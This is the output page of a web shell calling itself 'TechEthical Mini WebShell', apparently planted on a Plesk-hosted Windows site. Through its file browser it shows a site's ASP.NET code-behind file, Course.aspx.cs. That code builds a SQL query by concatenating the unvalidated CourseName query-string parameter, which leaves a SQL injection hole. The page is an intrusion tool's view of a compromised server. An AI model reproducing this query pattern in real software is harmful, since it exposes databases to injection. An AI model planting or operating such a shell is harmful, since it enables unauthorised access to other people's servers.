TechEthical CEHP

Current Path : G:/PleskVhosts/megamind.net.in/careercentre360.com/
Upload File :
Current File : G:/PleskVhosts/megamind.net.in/careercentre360.com/Course.aspx.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

using Directory;

using Microsoft.SqlServer;
using System.Data.SqlClient;
using System.Data;

namespace Bathuasoft
{
    public partial class Course : System.Web.UI.Page
	{
		protected void Page_Load(object sender, EventArgs e)
		{
            if (!IsPostBack)
            {
                string Course = Request.QueryString["CourseName"].ToString();
                connection_sql obj = new connection_sql();
                DataTable dt = new DataTable();
                dt = obj.getDataTable("select * from tbl_Courses where urlName = '" + Course + "'");
                if (dt.Rows.Count>0)
                {
                    //this.Title = dt.Rows[0]["PageTitle"].ToString();
                    lblTitle.Text = dt.Rows[0]["HEADING"].ToString();
                    Literal1.Text = dt.Rows[0]["contant"].ToString();
                    Image1.ImageUrl = dt.Rows[0]["ImagePath"].ToString();

                }
                

            }           

		}
	}
}

TechEthical Mini WebShell Version 1.0, Coded By The_M@T3